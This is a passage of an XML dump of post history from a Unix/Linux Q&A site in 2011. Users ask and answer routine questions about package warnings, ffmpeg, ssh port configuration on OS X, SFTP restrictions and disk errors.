&#xD;&#xA;&#xD;&#xA;    cat foo.sh | dash&#xD;&#xA;    dash &lt; foo.sh&#xD;&#xA;" />
  <row Id="16659" PostHistoryTypeId="5" PostId="6893" RevisionGUID="6c5a9f58-f86a-4228-b4d8-b2820fef7df3" CreationDate="2011-02-10T10:04:54.200" UserId="688" Comment="added 4 characters in body; edited title" Text="A lot of times when I (un)install packages, I get strange warning messages. Here's a snippet:&#xD;&#xA;&#xD;&#xA;	Processing triggers for libglib2.0-0 ...&#xD;&#xA;	Processing triggers for man-db ...&#xD;&#xA;	Processing triggers for desktop-file-utils ...&#xD;&#xA;	Processing triggers for gnome-menus ...&#xD;&#xA;	Processing triggers for menu ...&#xD;&#xA;	Processing triggers for gconf2 ...&#xD;&#xA;	WARNING: node &lt;gettext_domain&gt; not understood below &lt;schema&gt;&#xD;&#xA;	WARNING: node &lt;gettext_domain&gt; not understood below &lt;schema&gt;&#xD;&#xA;	WARNING: node &lt;gettext_domain&gt; not understood below &lt;schema&gt;&#xD;&#xA;	WARNING: node &lt;gettext_domain&gt; not understood below &lt;schema&gt;&#xD;&#xA;	WARNING: node &lt;gettext_domain&gt; not understood below &lt;schema&gt;&#xD;&#xA;	WARNING: node &lt;gettext_domain&gt; not understood below &lt;schema&gt;&#xD;&#xA;	WARNING: node &lt;gettext_domain&gt; not understood below &lt;schema&gt;&#xD;&#xA;	WARNING: node &lt;gettext_domain&gt; not understood below &lt;schema&gt;&#xD;&#xA;	Processing triggers for hicolor-icon-theme ...&#xD;&#xA;	Processing triggers for shared-mime-info ...&#xD;&#xA;&#xD;&#xA;Anyone knows what causes this? These aren't harmless messages, but what do they mean? How to I get rid of them?&#xD;&#xA;&#xD;&#xA;[__note__] I use Debian Squeeze.&#xD;&#xA;" />
  <row Id="16660" PostHistoryTypeId="4" PostId="6893" RevisionGUID="6c5a9f58-f86a-4228-b4d8-b2820fef7df3" CreationDate="2011-02-10T10:04:54.200" UserId="688" Comment="added 4 characters in body; edited title" Text="Strange messages on (un)installation" />
  <row Id="16661" PostHistoryTypeId="4" PostId="6890" RevisionGUID="662b7c87-05be-4868-b192-d5c03e143edb" CreationDate="2011-02-10T10:06:03.980" UserId="688" Comment="edited title" Text="What is making my cursor 'randomly' disappear when using gnome-teminal?" />
  <row Id="16662" PostHistoryTypeId="5" PostId="6726" RevisionGUID="9a3b2b01-252e-4f5d-969d-bc4de0fc28a9" CreationDate="2011-02-10T10:08:20.450" UserId="688" Comment="added 24 characters in body" Text="On my tty terminals (1-6), I lose text when I move away from it and back (i.e. pressing &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Pg Up&lt;/kbd&gt; doesn't reveal any scrolled-off text). How can I recover this text?" />
  <row Id="16663" PostHistoryTypeId="5" PostId="6721" RevisionGUID="8f5c0815-79fd-4eb6-ba4f-ccc75c927f88" CreationDate="2011-02-10T10:11:33.350" UserId="688" Comment="added 35 characters in body" Text="I used `dd if=movies/archlinux-2010.05-core-x86_64.iso of=/dev/sdb` to create an installation image on a USB stick and I'm getting a blank screen soon after boot-up. The last message I saw is:&#xD;&#xA;&#xD;&#xA;    Waiting for UDev UEvents to be processed...&#xD;&#xA;&#xD;&#xA;What am I to do?&#xD;&#xA;&#xD;&#xA;[**note**] Am using a TravelMate 6592: Core 2 Duo T7500 2.2GHz processor.&#xD;&#xA;" />
  <row Id="16664" PostHistoryTypeId="2" PostId="7192" RevisionGUID="e2e2e4c9-66c0-4fe5-b1a1-3cfbc1257d86" CreationDate="2011-02-10T10:27:13.523" UserId="4459" Text="You can also make an alias&lt;br&gt;&#xD;&#xA;&lt;code&gt;alias v='vim'&lt;/code&gt;&lt;br&gt;&#xD;&#xA;and save it in your &lt;code&gt;/.bashrc&lt;/code&gt;" />
  <row Id="16665" PostHistoryTypeId="25" PostId="7161" RevisionGUID="fd6727f2-b864-4619-bbc7-f6d3fcc4e7c6" CreationDate="2011-02-10T11:22:35.170" Comment="http://twitter.com/#!/StackUnix/status/35659890580000768" />
  <row Id="16666" PostHistoryTypeId="2" PostId="7193" RevisionGUID="f3373766-9637-4f1d-9bb8-3e24d4439979" CreationDate="2011-02-10T11:48:45.700" UserId="3886" Text="First run `ffmpeg -i file.mp4` to see which streams exists in your file. You should see something like this:&#xD;&#xA;&#xD;&#xA;    Stream #0.0: Video: mpeg4, yuv420p, 720x304 [PAR 1:1 DAR 45:19], 23.98 tbr, 23.98 tbn, 23.98 tbc&#xD;&#xA;    Stream #0.1: Audio: ac3, 48000 Hz, 5.1, s16, 384 kb/s&#xD;&#xA;    Stream #0.2: Audio: ac3, 48000 Hz, 5.1, s16, 384 kb/s&#xD;&#xA;&#xD;&#xA;Then run `ffmpeg -map 0:0 -map 0:2 -acodec copy -vcodec copy -i file.mp4 new_file.mp4` to copy video stream and 2nd audio stream to `new_file.mp4`. " />
  <row Id="16667" PostHistoryTypeId="4" PostId="4870" RevisionGUID="10381ddd-c329-4cf4-8928-30e875721637" CreationDate="2011-02-10T13:03:33.087" UserId="2689" Comment="edited title" Text="Is it possible to have vim key bindings in terminal?" />
  <row Id="16668" PostHistoryTypeId="2" PostId="7194" RevisionGUID="b858b222-6b80-40a2-96ed-babee33019a2" CreationDate="2011-02-10T13:21:16.533" UserId="3956" Text="Hi,&#xD;&#xA;&#xD;&#xA;I am playing around with rc scripts. I am starting a daemon from rc.local. I would like to know how I start the process under a specific user instead of root?" />
  <row Id="16669" PostHistoryTypeId="1" PostId="7194" RevisionGUID="b858b222-6b80-40a2-96ed-babee33019a2" CreationDate="2011-02-10T13:21:16.533" UserId="3956" Text="rc control user" />
  <row Id="16670" PostHistoryTypeId="3" PostId="7194" RevisionGUID="b858b222-6b80-40a2-96ed-babee33019a2" CreationDate="2011-02-10T13:21:16.533" UserId="3956" Text="éusersàéopenbsdàércà" />
  <row Id="16671" PostHistoryTypeId="2" PostId="7195" RevisionGUID="3101e437-a602-4dac-a2ed-cdc0ebd49a86" CreationDate="2011-02-10T13:44:05.060" UserId="3959" Text="What daemon? Most daemons come with a commandline or config option to drop privileges. But if you're looking for a generic way, try:&#xD;&#xA;&#xD;&#xA;    RUN_AS=my_user&#xD;&#xA;    su -c /usr/sbin/my_daemon $RUN_AS" />
  <row Id="16672" PostHistoryTypeId="25" PostId="7194" RevisionGUID="cb5e4199-3d66-499b-87bc-4d5fbed1bdaf" CreationDate="2011-02-10T14:22:35.890" Comment="http://twitter.com/#!/StackUnix/status/35705191806279680" />
  <row Id="16676" PostHistoryTypeId="2" PostId="7197" RevisionGUID="5f1601ee-69c9-439a-85db-f1a5932c02ad" CreationDate="2011-02-10T14:42:39.613" UserId="4657" Text="Here are basics information:&#xD;&#xA;&#xD;&#xA;    $ which ssh&#xD;&#xA;    /opt/local/bin/ssh&#xD;&#xA;&#xD;&#xA;It's like that because I'm using MacPorts and it did install there.&#xD;&#xA;I did the `sudo port load openssh`&#xD;&#xA;&#xD;&#xA;When doing a netstat -an | grep LISTEN on reboot. I have this:&#xD;&#xA;&#xD;&#xA;    tcp4       0      0  *.2222                 *.*                    LISTEN&#xD;&#xA;    tcp6       0      0  *.2222                 *.*                    LISTEN&#xD;&#xA;    tcp46      0      0  *.5900                 *.*                    LISTEN&#xD;&#xA;    tcp4       0      0  *.88                   *.*                    LISTEN&#xD;&#xA;    tcp6       0      0  *.88                   *.*                    LISTEN&#xD;&#xA;    tcp4       0      0  *.631                  *.*                    LISTEN&#xD;&#xA;    tcp6       0      0  *.631                  *.*                    LISTEN&#xD;&#xA;    tcp4       0      0  *.22                   *.*                    LISTEN&#xD;&#xA;    tcp6       0      0  *.22                   *.*                    LISTEN&#xD;&#xA;    tcp4       0      0  *.139                  *.*                    LISTEN&#xD;&#xA;    tcp4       0      0  *.445                  *.*                    LISTEN&#xD;&#xA;    tcp4       0      0  *.548                  *.*                    LISTEN&#xD;&#xA;    tcp6       0      0  *.548                  *.*                    LISTEN&#xD;&#xA;    tcp4       0      0  127.0.0.1.631          *.*                    LISTEN&#xD;&#xA;    tcp6       0      0  ::1.631                *.*                    LISTEN&#xD;&#xA;&#xD;&#xA;then here are the results of nmap:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    -pierre@evian.local ~ nmap -p 22 localhost                                                                                                                   0 --15:23--&#xD;&#xA;    &#xD;&#xA;    Starting Nmap 5.50 ( http://nmap.org ) at 2011-02-10 15:24 CET&#xD;&#xA;    Nmap scan report for localhost (127.0.0.1)&#xD;&#xA;    Host is up (0.000083s latency).&#xD;&#xA;    PORT   STATE SERVICE&#xD;&#xA;    22/tcp open  ssh&#xD;&#xA;    &#xD;&#xA;    Nmap done: 1 IP address (1 host up) scanned in 0.19 seconds&#xD;&#xA;    -pierre@evian.local ~ nmap -p 2222 localhost                                                                                                                 0 --15:24--&#xD;&#xA;    &#xD;&#xA;    Starting Nmap 5.50 ( http://nmap.org ) at 2011-02-10 15:25 CET&#xD;&#xA;    Nmap scan report for localhost (127.0.0.1)&#xD;&#xA;    Host is up (0.000072s latency).&#xD;&#xA;    PORT     STATE SERVICE&#xD;&#xA;    2222/tcp open  EtherNet/IP-1&#xD;&#xA;    &#xD;&#xA;    Nmap done: 1 IP address (1 host up) scanned in 0.05 seconds&#xD;&#xA;&#xD;&#xA;Now what happen when I try to ssh on localhost&#xD;&#xA;&#xD;&#xA;    -pierre@evian.local ~ ssh localhost                                                  0 --15:30--&#xD;&#xA;    Connection closed by 127.0.0.1&#xD;&#xA;&#xD;&#xA;When specifying the 2222 port.&#xD;&#xA;&#xD;&#xA;    -pierre@evian.local ~ ssh localhost -p 2222                                        255 --15:31--&#xD;&#xA;    Last login: Thu Feb 10 15:18:00 2011 from localhost&#xD;&#xA;Succeed! The reason: I found it in the sshd_config file on the /opt/local/etc/ location. port 2222 here the file:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    -pierre@evian.local ~ cat /opt/local/etc/ssh/sshd_config | less                      0 --15:29--&#xD;&#xA;    &#xD;&#xA;    #       $OpenBSD: sshd_config,v 1.81 2009/10/08 14:03:41 markus Exp $&#xD;&#xA;    &#xD;&#xA;    # This is the sshd server system-wide configuration file.  See&#xD;&#xA;    # sshd_config(5) for more information.&#xD;&#xA;    &#xD;&#xA;    Port 2222&#xD;&#xA;&#xD;&#xA;So I decided to change the port in that file to 22&#xD;&#xA;&#xD;&#xA;relaunch the service with unload/load as follow:&#xD;&#xA;&#xD;&#xA;    -pierre@evian.local /opt/local/etc/ssh ssh localhost -p 2222                         0 --15:35--&#xD;&#xA;    Last login: Thu Feb 10 15:32:15 2011 from localhost&#xD;&#xA;    -pierre@evian.local ~ sudo port unload openssh                                       0 --15:35--&#xD;&#xA;    -pierre@evian.local ~ sudo port load openssh                                         0 --15:36--&#xD;&#xA;    -pierre@evian.local ~ ssh localhost -p 2222                                          0 --15:36--&#xD;&#xA;    ssh: connect to host localhost port 2222: Connection refused&#xD;&#xA;Well, I'm feeling lucky and I try ssh localhost&#xD;&#xA;&#xD;&#xA;    -pierre@evian.local ~ ssh localhost                                                255 --15:36--&#xD;&#xA;    Connection closed by 127.0.0.1&#xD;&#xA;&#xD;&#xA;No such a thing as luck I suppose. Here is a -vv of the command:&#xD;&#xA;&#xD;&#xA;    -pierre@evian.local ~ ssh -vv localhost                                            255 --15:37--&#xD;&#xA;    OpenSSH_5.6p1, OpenSSL 1.0.0c 2 Dec 2010&#xD;&#xA;    debug1: Reading configuration data /opt/local/etc/ssh/ssh_config&#xD;&#xA;    debug2: ssh_connect: needpriv 0&#xD;&#xA;    debug1: Connecting to localhost [127.0.0.1] port 22.&#xD;&#xA;    debug1: Connection established.&#xD;&#xA;    debug2: key_type_from_name: unknown key type '-----BEGIN'&#xD;&#xA;    debug2: key_type_from_name: unknown key type '-----END'&#xD;&#xA;    debug1: identity file /Users/pierre/.ssh/id_rsa type 1&#xD;&#xA;    debug1: identity file /Users/pierre/.ssh/id_rsa-cert type -1&#xD;&#xA;    debug2: key_type_from_name: unknown key type '-----BEGIN'&#xD;&#xA;    debug2: key_type_from_name: unknown key type '-----END'&#xD;&#xA;    debug1: identity file /Users/pierre/.ssh/id_dsa type 2&#xD;&#xA;    debug1: identity file /Users/pierre/.ssh/id_dsa-cert type -1&#xD;&#xA;    debug1: Remote protocol version 1.99, remote software version OpenSSH_5.2&#xD;&#xA;    debug1: match: OpenSSH_5.2 pat OpenSSH*&#xD;&#xA;    debug1: Enabling compatibility mode for protocol 2.0&#xD;&#xA;    debug1: Local version string SSH-2.0-OpenSSH_5.6&#xD;&#xA;    debug2: fd 3 setting O_NONBLOCK&#xD;&#xA;    debug1: SSH2_MSG_KEXINIT sent&#xD;&#xA;    debug1: SSH2_MSG_KEXINIT received&#xD;&#xA;    debug2: kex_parse_kexinit: diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1&#xD;&#xA;    debug2: kex_parse_kexinit: ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-rsa-cert-v00@openssh.com,ssh-dss-cert-v00@openssh.com,ssh-rsa,ssh-dss&#xD;&#xA;    debug2: kex_parse_kexinit: aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se&#xD;&#xA;    debug2: kex_parse_kexinit: aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se&#xD;&#xA;    debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96&#xD;&#xA;    debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96&#xD;&#xA;    debug2: kex_parse_kexinit: none,zlib@openssh.com,zlib&#xD;&#xA;    debug2: kex_parse_kexinit: none,zlib@openssh.com,zlib&#xD;&#xA;    debug2: kex_parse_kexinit: &#xD;&#xA;    debug2: kex_parse_kexinit: &#xD;&#xA;    debug2: kex_parse_kexinit: first_kex_follows 0 &#xD;&#xA;    debug2: kex_parse_kexinit: reserved 0 &#xD;&#xA;    debug2: kex_parse_kexinit: diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1&#xD;&#xA;    debug2: kex_parse_kexinit: ssh-rsa,ssh-dss&#xD;&#xA;    debug2: kex_parse_kexinit: aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se&#xD;&#xA;    debug2: kex_parse_kexinit: aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se&#xD;&#xA;    debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96&#xD;&#xA;    debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96&#xD;&#xA;    debug2: kex_parse_kexinit: none,zlib@openssh.com&#xD;&#xA;    debug2: kex_parse_kexinit: none,zlib@openssh.com&#xD;&#xA;    debug2: kex_parse_kexinit: &#xD;&#xA;    debug2: kex_parse_kexinit: &#xD;&#xA;    debug2: kex_parse_kexinit: first_kex_follows 0 &#xD;&#xA;    debug2: kex_parse_kexinit: reserved 0 &#xD;&#xA;    debug2: mac_setup: found hmac-md5&#xD;&#xA;    debug1: kex: server-&gt;client aes128-ctr hmac-md5 none&#xD;&#xA;    debug2: mac_setup: found hmac-md5&#xD;&#xA;    debug1: kex: client-&gt;server aes128-ctr hmac-md5 none&#xD;&#xA;    debug1: SSH2_MSG_KEX_DH_GEX_REQUEST(1024&lt;1024&lt;8192) sent&#xD;&#xA;    debug1: expecting SSH2_MSG_KEX_DH_GEX_GROUP&#xD;&#xA;    debug2: dh_gen_key: priv key bits set: 127/256&#xD;&#xA;    debug2: bits set: 520/1024&#xD;&#xA;    debug1: SSH2_MSG_KEX_DH_GEX_INIT sent&#xD;&#xA;    debug1: expecting SSH2_MSG_KEX_DH_GEX_REPLY&#xD;&#xA;    debug1: Host 'localhost' is known and matches the RSA host key.&#xD;&#xA;    debug1: Found key in /Users/pierre/.ssh/known_hosts:1&#xD;&#xA;    debug2: bits set: 534/1024&#xD;&#xA;    debug1: ssh_rsa_verify: signature correct&#xD;&#xA;    debug2: kex_derive_keys&#xD;&#xA;    debug2: set_newkeys: mode 1&#xD;&#xA;    debug1: SSH2_MSG_NEWKEYS sent&#xD;&#xA;    debug1: expecting SSH2_MSG_NEWKEYS&#xD;&#xA;    debug2: set_newkeys: mode 0&#xD;&#xA;    debug1: SSH2_MSG_NEWKEYS received&#xD;&#xA;    debug1: Roaming not allowed by server&#xD;&#xA;    debug1: SSH2_MSG_SERVICE_REQUEST sent&#xD;&#xA;    debug2: service_accept: ssh-userauth&#xD;&#xA;    debug1: SSH2_MSG_SERVICE_ACCEPT received&#xD;&#xA;    debug2: key: /Users/pierre/.ssh/id_rsa (0x10030e540)&#xD;&#xA;    debug2: key: /Users/pierre/.ssh/id_dsa (0x10031dcf0)&#xD;&#xA;    debug1: Authentications that can continue: publickey,keyboard-interactive&#xD;&#xA;    debug1: Next authentication method: publickey&#xD;&#xA;    debug1: Offering RSA public key: /Users/pierre/.ssh/id_rsa&#xD;&#xA;    debug2: we sent a publickey packet, wait for reply&#xD;&#xA;    Connection closed by 127.0.0.1&#xD;&#xA;&#xD;&#xA;I feel like a noob. :/&#xD;&#xA;&#xD;&#xA;What do you think?&#xD;&#xA;" />
  <row Id="16677" PostHistoryTypeId="1" PostId="7197" RevisionGUID="5f1601ee-69c9-439a-85db-f1a5932c02ad" CreationDate="2011-02-10T14:42:39.613" UserId="4657" Text="I can't ssh on localhost at a certain port on os x" />
  <row Id="16678" PostHistoryTypeId="3" PostId="7197" RevisionGUID="5f1601ee-69c9-439a-85db-f1a5932c02ad" CreationDate="2011-02-10T14:42:39.613" UserId="4657" Text="ésshàéosxàéopensshà" />
  <row Id="16679" PostHistoryTypeId="2" PostId="7198" RevisionGUID="955aa044-2e2d-47a2-9605-ab13c22d7030" CreationDate="2011-02-10T15:23:28.303" UserId="138" Text="OS X comes with `sshd` already. It's running if you enable &quot;Remote Login&quot; in System Preferences under Sharing.&#xD;&#xA;&#xD;&#xA;If all you want to do is make it listen on a non-default port, the trick is as follows:&#xD;&#xA;&#xD;&#xA;1. Open `/System/Library/LaunchDaemons/ssh.plist` in your favorite text editor.&#xD;&#xA;&#xD;&#xA;1. Find the `SockServiceName` key.&#xD;&#xA;&#xD;&#xA;1. Change the string value to something like `ssh-alt`, then save the plist file.&#xD;&#xA;&#xD;&#xA;4. Add an entry for `ssh-alt` to the `/etc/services` file.&#xD;&#xA;&#xD;&#xA;1. Go into the Sharing preference pane and toggle the &quot;Remote Login&quot; checkbox off and back on. You'll find that the native `sshd` is now listening on the other port.&#xD;&#xA;&#xD;&#xA;You'd think you could avoid all that by editing `/etc/sshd_config`, but you'd be wrong. The native `sshd` pays attention to the plist file, only." />
  <row Id="16680" PostHistoryTypeId="17" PostId="7200" RevisionGUID="93ec2c6a-e619-46a4-aba1-ceb53e7bdba5" CreationDate="2011-02-10T15:40:08.710" UserId="-1" Comment="from http://stackoverflow.com/questions/4955256/choose-system-reliable-linux-distribution/4955321#4955321" Text="" />
  <row Id="16681" PostHistoryTypeId="17" PostId="7201" RevisionGUID="da2e105e-a46d-42d1-83e1-87d090ddbd84" CreationDate="2011-02-10T15:40:08.710" UserId="-1" Comment="from http://stackoverflow.com/questions/4955256/choose-system-reliable-linux-distribution/4955330#4955330" Text="" />
  <row Id="16682" PostHistoryTypeId="2" PostId="7200" RevisionGUID="29875ff2-b598-4069-b86f-70a4e4c9b9f0" CreationDate="2011-02-10T09:30:00.110" UserId="1798" Text="The hardware problems could not have been caused by your Linux distribution. It seems that you're just very unlucky with hard drives, or you are mishandling them (vibration or mechanical stress could damage the hard drive surface)." />
  <row Id="16683" PostHistoryTypeId="2" PostId="7201" RevisionGUID="5bb25ddc-5b17-4a04-81e2-9a349c2a641e" CreationDate="2011-02-10T09:31:27.763" UserDisplayName="barduck" Text="&#xD;&#xA;I seriously doubt it that any Linux distribution, let alone a popular one that is used by millions of people can cause bad sectors on the hard disk. More so, same OS components like kernel and file system modules are shared by many Linux distributions.&#xD;&#xA;&#xD;&#xA;It can be just bad coincidence or there might be something else wrong with your system - I had problems with hard disks caused by faulty motherboard before." />
  <row Id="16684" PostHistoryTypeId="2" PostId="7199" RevisionGUID="27534b2d-3eac-4bba-83c4-59836bf5da92" CreationDate="2011-02-10T09:21:55.110" UserDisplayName="Xoke" Text="My question is about choosing Linux distribution that don't cause hardware errors. &#xD;&#xA;Here is my problem, I have Western Digital 500 hard drive, and first Linux I use it was Ubuntu 9.04 and everything was ok, that I move to Ubuntu 10.04 LTS. After a while the Diagnostic Tool show me that HD has bad sectors. The store that I bought my computer replace the hard drive. I install Ubuntu 10.04, and after 4-5 mouths the Diagnostic Tool show me bad sectors. My HD is still on warranty and they again will replace it but, I must replace the Linux Distribution, this is too much for my nerves.  &#xD;&#xA;Someone can give me explanation to which distro to move.&#xD;&#xA;My experience with Linux is:&#xD;&#xA;openSuse 10.02 (some problems with flash drivers)  &#xD;&#xA;Ubuntu 9.04 and Ubuntu 10.04.&#xD;&#xA;" />
  <row Id="16685" PostHistoryTypeId="1" PostId="7199" RevisionGUID="27534b2d-3eac-4bba-83c4-59836bf5da92" CreationDate="2011-02-10T09:21:55.110" UserDisplayName="Xoke" Text="Choose system reliable Linux Distribution?" />
  <row Id="16686" PostHistoryTypeId="3" PostId="7199" RevisionGUID="27534b2d-3eac-4bba-83c4-59836bf5da92" CreationDate="2011-02-10T09:21:55.110" UserDisplayName="Xoke" Text="élinuxà" />
  <row Id="16687" PostHistoryTypeId="17" PostId="7199" RevisionGUID="111ff896-0649-44f9-b0e1-8171783cb63b" CreationDate="2011-02-10T15:40:08.710" UserId="-1" Comment="from http://stackoverflow.com/questions/4955256/choose-system-reliable-linux-distribution" Text="" />
  <row Id="16688" PostHistoryTypeId="2" PostId="7202" RevisionGUID="8ad362e0-69ff-4de1-a977-586efbb1623b" CreationDate="2011-02-10T14:20:22.533" UserDisplayName="Vince" Text="I'm porting UEFI BIOS. I'd like to download an Linux image (bzImage) to system memory by TFTP in my UEFI shell, and then boot the OS directly. I know we generally need another bootloader to do that. But is it possible to boot Linux in UEFI BIOS? And how?&#xD;&#xA;" />
  <row Id="16689" PostHistoryTypeId="1" PostId="7202" RevisionGUID="8ad362e0-69ff-4de1-a977-586efbb1623b" CreationDate="2011-02-10T14:20:22.533" UserDisplayName="Vince" Text="Boot Linux from UEFI BIOS" />
  <row Id="16690" PostHistoryTypeId="3" PostId="7202" RevisionGUID="8ad362e0-69ff-4de1-a977-586efbb1623b" CreationDate="2011-02-10T14:20:22.533" UserDisplayName="Vince" Text="ébiosà" />
  <row Id="16691" PostHistoryTypeId="17" PostId="7202" RevisionGUID="105be450-ccd0-41f7-8e15-6ddc6f7617b6" CreationDate="2011-02-10T15:52:35.590" UserId="-1" Comment="from http://stackoverflow.com/questions/4958227/boot-linux-from-uefi-bios" Text="" />
  <row Id="16692" PostHistoryTypeId="2" PostId="7203" RevisionGUID="c8a69d11-35a2-4b92-a0d6-1994b9d4dc3c" CreationDate="2011-02-10T16:01:41.920" UserId="3976" Text="It's unlikely that your OS is causing the failures.  As disks increase in size and data density, the likelihood of encountering a bad sector is increasing.  I would expect a new disk to see bad sectors as time went on.&#xD;&#xA;&#xD;&#xA;More likely, any other distros you've used that *didn't* report failures were simply not reporting them, or didn't even detect them (silent failures).  Also, I'd check with your warranty repair -- you might be getting refurbished units that have filled their bad sector defect tables already.  Read up on using [smartctl][1] to diagnose the problems on your disk.  (Although research has proven that not all disk problems are reported by SMART, it's still a good place to start.)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://smartmontools.sourceforge.net/man/smartctl.8.html" />
  <row Id="16693" PostHistoryTypeId="2" PostId="7204" RevisionGUID="50be64f1-5f7d-4420-aa04-7cb9fab476d3" CreationDate="2011-02-10T16:26:44.420" UserId="4648" Text="As far as I know, a UEFI firmware (not BIOS, that's something else) can only load UEFI applications corresponding to the EFI firmware architecture. So you can't directly load a Linux kernel, but you should be able to load a UEFI bootloader which will then load the Linux kernel into memory and jump to it. I know of GRUB2 and ELILO which support UEFI, you may want to check them out." />
  <row Id="16694" PostHistoryTypeId="2" PostId="7205" RevisionGUID="54a7ef6a-9570-4023-a188-77e34d358ad9" CreationDate="2011-02-10T16:58:37.317" UserId="3309" Text="Configure your mail server to allow unauthenticated relay from localhost and set up an ssh tunnel for sending mail.&#xD;&#xA;&#xD;&#xA;    ssh yourserver -L 8587:localhost:587&#xD;&#xA;&#xD;&#xA;This will forward the local port 8587 through ssh to yourserver on yourserver's port 587. Then configure your mail client to use `localhost` port `8587`.&#xD;&#xA;&#xD;&#xA;Although I would still encourage you to leave SASL authentication on." />
  <row Id="16695" PostHistoryTypeId="2" PostId="7206" RevisionGUID="1aa4f0ef-f40a-4273-9d82-04e7f87a601d" CreationDate="2011-02-10T17:01:21.697" UserId="3309" Text="You are probably experiencing disk corruption. Boot to single user or recovery mode and run `fsck` on the affected partition(s)." />
  <row Id="16696" PostHistoryTypeId="2" PostId="7207" RevisionGUID="7da43af9-4902-4198-a9fc-ce727352a912" CreationDate="2011-02-10T17:04:46.283" UserId="1375" Text="I am setting up SFTP access to one of my machines running Linux with the Dropbear SSH server. When I SFTP onto the machine remotely, I can see the entire filesystem on it, even if I might not have write access.&#xD;&#xA;How to I control what directories a user can see when connecting to my machine via SFTP? For example, what if I only want to make one directory, e.g. /ftp/, visible and accessible?&#xD;&#xA;Thanks." />
  <row Id="16697" PostHistoryTypeId="1" PostId="7207" RevisionGUID="7da43af9-4902-4198-a9fc-ce727352a912" CreationDate="2011-02-10T17:04:46.283" UserId="1375" Text="Set visible directories for SFTP access?" />
  <row Id="16698" PostHistoryTypeId="3" PostId="7207" RevisionGUID="7da43af9-4902-4198-a9fc-ce727352a912" CreationDate="2011-02-10T17:04:46.283" UserId="1375" Text="épermissionsàéusersàéremoteàéftpàésftpà" />
  <row Id="16699" PostHistoryTypeId="2" PostId="7208" RevisionGUID="3383d49c-3a76-49b8-97a0-a0417ae51746" CreationDate="2011-02-10T17:06:48.603" UserId="688" Text="My laptop has keyboard buttons for adjusting screen brightness. After a Debian Squeeze re-installation, they don't work no more. What to do?" />
  <row Id="16700" PostHistoryTypeId="1" PostId="7208" RevisionGUID="3383d49c-3a76-49b8-97a0-a0417ae51746" CreationDate="2011-02-10T17:06:48.603" UserId="688" Text="I can't adjust screen brightness of my laptop anymore" />
  <row Id="16701" PostHistoryTypeId="3" PostId="7208" RevisionGUID="3383d49c-3a76-49b8-97a0-a0417ae51746" CreationDate="2011-02-10T17:06:48.603" UserId="688" Text="édebianàélaptopà" />
  <row Id="16702" PostHistoryTypeId="25" PostId="7197" RevisionGUID="70418a06-8162-4f5f-b960-88a4d253b762" CreationDate="2011-02-10T17:22:35.657" Comment="http://twitter.com/#!/StackUnix/status/35750489807130624" />
  <row Id="16703" PostHistoryTypeId="2" PostId="7209" RevisionGUID="4a56849f-b506-4745-b041-7457a749f072" CreationDate="2011-02-10T18:30:31.557" UserId="3976" Text="I believe you'll need to run your dropbear ssh server inside a chroot'd jail if you want to restrict it to certain directories.&#xD;&#xA;&#xD;&#xA;If you were using a recent OpenSSH, I'd suggest using the ChrootDirectory setting in your sshd_config.  It doesn't appear as though dropbear has a similar parameter, so you'll have to do it manually." />
  <row Id="16704" PostHistoryTypeId="5" PostId="7208" RevisionGUID="b635dfbe-4445-4b37-9a5b-98485677cf51" CreationDate="2011-02-10T18:50:49.857" UserId="688" Comment="added 18 characters in body; added 169 characters in body; deleted 50 characters in body" Text="My laptop has keyboard buttons for adjusting screen brightness. After a Debian Squeeze re-installation, they don't work no more.&#xD;&#xA;&#xD;&#xA;[**my laptop**] Acer TravelMate 6592; It has a &lt;kbd&gt;Fn&lt;/kbd&gt;&lt;kbd&gt;&lt;&lt;/kbd&gt; to decrease the brightness and &lt;kbd&gt;Fn&lt;/kbd&gt;&lt;kbd&gt;&gt;&lt;/kbd&gt; to increase it." />
  <row Id="16705" PostHistoryTypeId="5" PostId="7208" RevisionGUID="78a6e495-d75c-4891-9acd-052eb3fd2579" CreationDate="2011-02-10T18:56:12.753" UserId="688" Comment="deleted 3 characters in body" Text="My laptop has keyboard buttons for adjusting screen brightness. After a Debian Squeeze re-installation, they don't work no more.&#xD;&#xA;&#xD;&#xA;[**my laptop**] Acer TravelMate 6592; I use &lt;kbd&gt;Fn&lt;/kbd&gt;&lt;kbd&gt;&lt;&lt;/kbd&gt; to decrease the brightness and &lt;kbd&gt;Fn&lt;/kbd&gt;&lt;kbd&gt;&gt;&lt;/kbd&gt; to increase it." />
